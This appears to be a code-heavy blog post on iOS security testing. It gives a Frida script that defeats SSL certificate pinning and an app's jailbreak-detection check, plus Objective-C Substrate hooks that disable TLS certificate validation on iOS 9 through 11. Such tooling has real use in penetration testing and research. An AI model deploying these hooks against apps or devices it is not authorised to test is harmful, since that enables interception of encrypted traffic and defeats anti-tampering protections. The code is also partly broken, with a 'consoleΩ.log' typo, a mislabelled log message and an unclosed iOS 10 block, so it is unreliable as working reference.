if (version.startsWith("11.")) { // iOS 11
/* OSStatus nw_tls_create_peer_trust(tls_handshake_t hdsk, bool server, SecTrustRef *trustRef); */
tls_helper_create_peer_trust = new NativeFunction( 
Module.findExportByName(null, "nw_tls_create_peer_trust"), 
'int', ['pointer', 'bool', 'pointer'] 
); 
} else if (version.startsWith("10.")) { // iOS 10
/* OSStatus tls_helper_create_peer_trust(tls_handshake_t hdsk, bool server, SecTrustRef *trustRef); */
tls_helper_create_peer_trust = new NativeFunction( 
Module.findExportByName(null, "tls_helper_create_peer_trust"), 
'int', ['pointer', 'bool', 'pointer'] 
); 
} else { 
console.log("Unsupported OS version!"); 
} 

var errSecSuccess = 0; 

function bypassSSL() { 
Interceptor.replace(tls_helper_create_peer_trust, new NativeCallback(function(hdsk, server, trustRef) { 
return errSecSuccess; 
}, 'int', ['pointer', 'bool', 'pointer'])); 

console.log("SSL Pinning bypass active"); 

} 


function revertSSL() { 
Interceptor.revert(tls_helper_create_peer_trust); 
console.log("SSL Pinning bypass disabled"); 
} 



function bypassJail() { 
var hook = ObjC.classes.KPAppIntegrity["- isSafe"] 
Interceptor.attach(hook.implementation, {onLeave: function(retval){retval.replace(1)}}) 
console.log("Jailbreak bypass disabled"); 
} 


function revertJail() { 
Interceptor.revert(ObjC.classes.KPAppIntegrity["- isSafe"]); 
consoleΩ.log("Jailbreak bypass disabled"); 
}

iOS 10&11 Bypass SSL Pinning

NSProcessInfo *processInfo = [NSProcessInfo processInfo];
if ([processInfo respondsToSelector:@selector(isOperatingSystemAtLeastVersion:)] && [processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){11, 0, 0}])
{
// Support for iOS 11
void* handle = dlopen("/usr/lib/libnetwork.dylib", RTLD_NOW);
void *tls_helper_create_peer_trust = dlsym(handle, "nw_tls_create_peer_trust");
if (tls_helper_create_peer_trust)
{
MSHookFunction((void *) tls_helper_create_peer_trust, (void *) replaced_tls_helper_create_peer_trust, (void **) &original_tls_helper_create_peer_trust);
}
}


else if ([processInfo respondsToSelector:@selector(isOperatingSystemAtLeastVersion:)] && [processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){10, 0, 0}])
{
// Support for iOS 10
void *tls_helper_create_peer_trust = dlsym(RTLD_DEFAULT, "tls_helper_create_peer_trust");
MSHookFunction((void *) tls_helper_create_peer_trust, (void *) replaced_tls_helper_create_peer_trust, (void **) &original_tls_helper_create_peer_trust);
(https://www.hahwul.com/2018/10/ios-ssl-pinning-bypass-with-frida.html)

iOS 9 Bypass SSL Pinning

#pragma mark SecureTransport hooks - iOS 9 and below
// Explanation here: https://nabla-c0d3.github.io/blog/2013/08/20/ios-ssl-kill-switch-v0-dot-5-released/
static OSStatus (*original_SSLSetSessionOption)(SSLContextRef context,
SSLSessionOption option,
Boolean value);
static OSStatus replaced_SSLSetSessionOption(SSLContextRef context,
SSLSessionOption option,
Boolean value)
{
// Remove the ability to modify the value of the kSSLSessionOptionBreakOnServerAuth option
if (option == kSSLSessionOptionBreakOnServerAuth)
{
return noErr;
}
return original_SSLSetSessionOption(context, option, value);
}




static SSLContextRef (*original_SSLCreateContext)(CFAllocatorRef alloc,
SSLProtocolSide protocolSide,
SSLConnectionType connectionType);


static SSLContextRef replaced_SSLCreateContext(CFAllocatorRef alloc,
SSLProtocolSide protocolSide,
SSLConnectionType connectionType)
{
SSLContextRef sslContext = original_SSLCreateContext(alloc, protocolSide, connectionType);
// Immediately set the kSSLSessionOptionBreakOnServerAuth option in order to disable cert validation
original_SSLSetSessionOption(sslContext, kSSLSessionOptionBreakOnServerAuth, true);
return sslContext;
}


static OSStatus (*original_SSLHandshake)(SSLContextRef context);
static OSStatus replaced_SSLHandshake(SSLContextRef context)
{


OSStatus result = original_SSLHandshake(context);
// Hijack the flow when breaking on server authentication


if (result == errSSLServerAuthCompleted)
{
// Do not check the cert and call SSLHandshake() again
return original_SSLHandshake(context);
}
return result;
}


Share: | Coffee Me: